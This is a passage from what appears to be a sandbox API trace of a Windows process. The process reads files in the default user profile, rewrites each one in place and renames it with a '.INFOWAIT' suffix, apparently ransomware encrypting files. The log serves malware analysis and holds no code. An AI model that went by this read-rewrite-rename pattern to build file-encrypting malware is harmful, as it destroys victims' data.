lpDistanceToMoveHigh=0x0) returned 0x0 [0146.259] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe03, lpOverlapped=0x0) returned 1 [0146.261] VirtualAlloc (lpAddress=0x0, dwSize=0xe03, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.261] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.261] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe03, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe03, lpOverlapped=0x0) returned 1 [0146.261] CloseHandle (hObject=0xad0) returned 1 [0146.261] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0146.261] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.INFOWAIT" [0146.261] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms.infowait")) returned 1 [0146.262] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.263] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.263] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.263] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.263] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd9 [0146.263] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.264] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.264] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xdd9, lpOverlapped=0x0) returned 1 [0146.453] VirtualAlloc (lpAddress=0x0, dwSize=0xdd9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.453] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.453] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xdd9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xdd9, lpOverlapped=0x0) returned 1 [0146.453] CloseHandle (hObject=0xad0) returned 1 [0146.454] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0146.454] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.INFOWAIT" [0146.454] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms.infowait")) returned 1 [0146.454] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.455] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.455] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.455] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.456] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdfb [0146.456] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.456] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.456] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xdfb, lpOverlapped=0x0) returned 1 [0146.551] VirtualAlloc (lpAddress=0x0, dwSize=0xdfb, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.551] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.551] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xdfb, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xdfb, lpOverlapped=0x0) returned 1 [0146.551] CloseHandle (hObject=0xad0) returned 1 [0146.552] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0146.552] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.INFOWAIT" [0146.552] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms.infowait")) returned 1 [0146.552] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.553] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.553] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.553] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.554] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xde6 [0146.554] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.554] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.554] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xde6, lpOverlapped=0x0) returned 1 [0146.585] VirtualAlloc (lpAddress=0x0, dwSize=0xde6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.585] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.585] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xde6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xde6, lpOverlapped=0x0) returned 1 [0146.585] CloseHandle (hObject=0xad0) returned 1 [0146.586] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0146.586] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.INFOWAIT" [0146.586] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms.infowait")) returned 1 [0146.586] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.587] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.587] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.587] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.588] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1600 [0146.588] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.588] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.588] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1600, lpOverlapped=0x0) returned 1 [0146.602] VirtualAlloc (lpAddress=0x0, dwSize=0x1600, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.603] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.603] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1600, lpOverlapped=0x0) returned 1 [0146.603] CloseHandle (hObject=0xad0) returned 1 [0146.603] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" [0146.603] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.INFOWAIT" [0146.603] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.infowait")) returned 1 [0146.604] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.605] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.605] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.605] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.605] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0146.605] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.605] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.605] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18, lpOverlapped=0x0) returned 1 [0146.607] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.607] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.607] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18, lpOverlapped=0x0) returned 1 [0146.607] CloseHandle (hObject=0xad0) returned 1 [0146.607] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" [0146.607] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.INFOWAIT" [0146.607] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.infowait")) returned 1 [0146.608] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.608] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.609] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.609] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.609] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3c12 [0146.609] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.610] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.610] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3c12, lpOverlapped=0x0) returned 1 [0146.733] VirtualAlloc (lpAddress=0x0, dwSize=0x3c12, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.734] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.734] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3c12, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3c12, lpOverlapped=0x0) returned 1 [0146.734] CloseHandle (hObject=0xad0) returned 1 [0146.734] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" [0146.734] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.INFOWAIT" [0146.734] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.infowait")) returned 1 [0146.735] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.736] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.736] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.738] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.738] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18 [0146.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.738] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.738] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18, lpOverlapped=0x0) returned 1 [0146.740] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.740] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.740] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18, lpOverlapped=0x0) returned 1 [0146.740] CloseHandle (hObject=0xad0) returned 1 [0146.740] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" [0146.740] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.INFOWAIT" [0146.741] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.infowait")) returned 1 [0146.741] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.742] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.742] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.742] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" (normalized: 